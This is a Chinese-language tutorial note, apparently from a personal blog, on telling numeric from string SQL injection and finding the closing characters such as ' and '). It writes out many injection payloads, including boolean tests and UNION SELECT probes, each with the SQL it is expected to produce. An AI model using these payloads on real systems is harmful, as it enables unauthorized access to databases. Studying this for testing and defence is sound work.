如何判断SQL注入闭合方式

如何判断SQL注入闭合方式
FLYFISH许久没有看sql又忘记怎么判断数字型注入和字符型注入 了
直接使用?id=2-1如果正确显示说明是数字型若不正确则可能是字符型
首先,要区分不同类型注入数据库中语句的不同
1 | 数字型注入 |
以下是突然想起来的一个问题
| 注入方式 | 正确性 | 原理 |
|---|---|---|
1' ORDER BY 3 -- |
✅ | 闭合原引号,注释后续字符,语法完整。 |
1 ORDER BY 3' -- + |
❌ | 未闭合原引号,ORDER BY 被包裹在字符串中,无法执行。 |
1' UNION SELECT 1,2,3 -- |
✅ | 闭合原引号,联合查询独立于原语句,语法合法。 |
1 UNION SELECT 1,2,3' -- + |
❌ | 未闭合原引号,UNION 被包裹在字符串中,无法生效。 |
如何判断数字型注入和字符型注入
了解完注入前的语句可以发现,无论是数字型注入还是字符型注入,如果输入ID=x(数字),都能得到执行,因此不能直接通过输入数字来确定是数字型注入。
应该通过排除常规字符型注入再来判断是否为数字型注入
注入流程详解
1. 输入 ?id=1 页面正常
- 可能情况
- 数字型(
WHERE id=1) - 字符型(
WHERE id='1',但未破坏语法) - 其他闭合方式(如
WHERE id=("1"),但输入未触发错误)
- 数字型(
结论:仅凭 ?id=1 页面正常无法直接确定类型,需进一步测试。
2. 排除字符型闭合(测试单引号 ' 和双引号 ")
测试单引号:
1
?id=1' // 尝试闭合单引号
- 预期结果
- 报错 → 字符型(单引号闭合)。
- 正常 → 可能是数字型,或存在转义(如
\'被过滤)。
- 预期结果
测试双引号:
1
?id=1" // 尝试闭合双引号
- 预期结果
- 报错 → 字符型(双引号闭合)。
- 正常 → 可能是数字型,或存在转义。
- 预期结果
3. 若单/双引号均未报错,测试布尔逻辑
测试数字型逻辑:
1
2?id=1 AND 1=1 // 预期页面正常
?id=1 AND 1=2 // 预期页面异常(无数据)- 结果分析
- 正常 → 异常:说明是数字型(无需闭合符号)。
- 均正常/均异常:可能是字符型或其他闭合方式。
- 结果分析
测试字符型逻辑(假设单引号未报错):
1
2?id=1' AND '1'='1 // 预期闭合:WHERE id='1' AND '1'='1'
?id=1' AND '1'='2 // 预期闭合:WHERE id='1' AND '1'='2'- 结果分析
- 正常 → 异常:说明是字符型(单引号闭合)。
- 均正常/均异常:可能是数字型或存在其他闭合逻辑(如转义)。
- 结果分析
4. 最终确认
- 若布尔逻辑符合数字型特征(
AND 1=1正常,AND 1=2异常):- 结论:数字型注入(无需闭合符号)。
- 若布尔逻辑符合字符型特征(
AND '1'='1正常,AND '1'='2异常):- 结论:字符型注入(需闭合符号
'或")。
- 结论:字符型注入(需闭合符号
- 若仍无法区分:
- 进一步测试混合闭合(如括号
)、'))等)或使用时间盲注。
- 进一步测试混合闭合(如括号
“)和’)闭合方式判断
当出现id=1' 异常 id=1' and '1'='1正常 id=1' and '1'='2异常
但是id=1' -- + 异常则说明不是'闭合而存在')闭合方案
测试步骤:
- 尝试闭合括号:输入
id=1') -- +,观察是否仍然报错。如果页面正常,则说明需要闭合')。 - 测试布尔逻辑:输入
id=1') and 1=1 -- +和id=1') and 1=2 -- +,观察页面是否分别正常和异常,以确认闭合符号是否有效。 - 联合查询测试:使用
id=1') union select 1,2,3 -- +,查看是否有回显,进一步确认闭合方式。
1. 测试现象解析
| 输入 | 结果 | 说明 |
|---|---|---|
id=1' |
报错 | 单引号未闭合,导致语法错误(如 WHERE id=('1''))。 |
id=1' AND '1'='1 |
正常 | 手动闭合单引号,添加恒真条件(WHERE id=('1' AND '1'='1'))。 |
id=1' AND '1'='2 |
报错 | 手动闭合单引号,添加恒假条件(WHERE id=('1' AND '1'='2'))。 |
id=1' -- + |
报错 | 注释符未生效,原因为括号未闭合(如 WHERE id=('1' -- ') 语法错误)。 |
2. 核心矛盾点
为什么
id=1' -- +仍然报错?如果原始 SQL 是
where id=('$id'),输入1' -- +后,语句变为:1
where id=(1' -- ')
-- +注释了后续的',但未闭合前面的括号(,导致语法错误。
3. 验证步骤
(1) 测试 ') 闭合
输入:
1 | id=1') --%20 |
预期 SQL
1
WHERE id=('1') -- ')
- 闭合括号
')并注释后续字符,语法正确。
- 闭合括号
结果
- 若页面正常 → 确认闭合符号为
')。
- 若页面正常 → 确认闭合符号为
(2) 布尔逻辑验证
输入:
1 | id=1') AND 1=1 --%20 // 预期正常 |
预期 SQL
1
2WHERE id=('1') AND 1=1 -- ') // 条件恒真 → 正常
WHERE id=('1') AND 1=2 -- ') // 条件恒假 → 异常
(3) 联合查询验证
输入:
1 | id=1') UNION SELECT 1,2,3 --%20 |
预期 SQL
1
WHERE id=('1') UNION SELECT 1,2,3 -- ')
- 若页面显示
2或3→ 确认闭合符号为'),且回显位置可被利用。
- 若页面显示
1 | 优先使用 ') 闭合进行后续注入: |
为什么正常->异常可以判断类型
1. 数字型注入的布尔逻辑原理
假设原始 SQL 语句为:
1 | SELECT * FROM users WHERE id=1 -- 数字型(无引号) |
输入
?id=1 AND 1=1语句变为:
1
SELECT * FROM users WHERE id=1 AND 1=1 -- 条件恒真 → 页面正常
输入
?id=1 AND 1=2语句变为:
1
SELECT * FROM users WHERE id=1 AND 1=2 -- 条件恒假 → 页面异常(无数据)
结论:
若布尔逻辑测试(AND 1=1正常,AND 1=2异常)生效,说明是数字型注入(无需闭合符号)。
2. 字符型注入的布尔逻辑原理
假设原始 SQL 语句为:
1 | SELECT * FROM users WHERE id='1' -- 字符型(单引号闭合) |
直接输入
?id=1 AND 1=1:
语句变为:1
SELECT * FROM users WHERE id='1 AND 1=1' -- 语法错误(引号未闭合)
- 页面会报错,因为
1 AND 1=1被包裹在引号内,成为字符串的一部分。
- 页面会报错,因为
正确注入字符型需闭合引号:
1
2?id=1' AND '1'='1 // 闭合后:WHERE id='1' AND '1'='1'
?id=1' AND '1'='2 // 闭合后:WHERE id='1' AND '1'='2'- 此时布尔逻辑生效(正常 → 异常),才能判断为字符型。
3. 关键区分点
| 测试条件 | 数字型注入 | 字符型注入(未闭合引号) | 字符型注入(已闭合引号) |
|---|---|---|---|
?id=1 AND 1=1 |
✅ 正常 | ❌ 语法错误(引号未闭合) | ✅ 正常(需闭合引号后测试) |
?id=1 AND 1=2 |
❌ 异常 | ❌ 语法错误(引号未闭合) | ❌ 异常(需闭合引号后测试) |
| 是否需要闭合符号 | 否 | 是 | 是 |














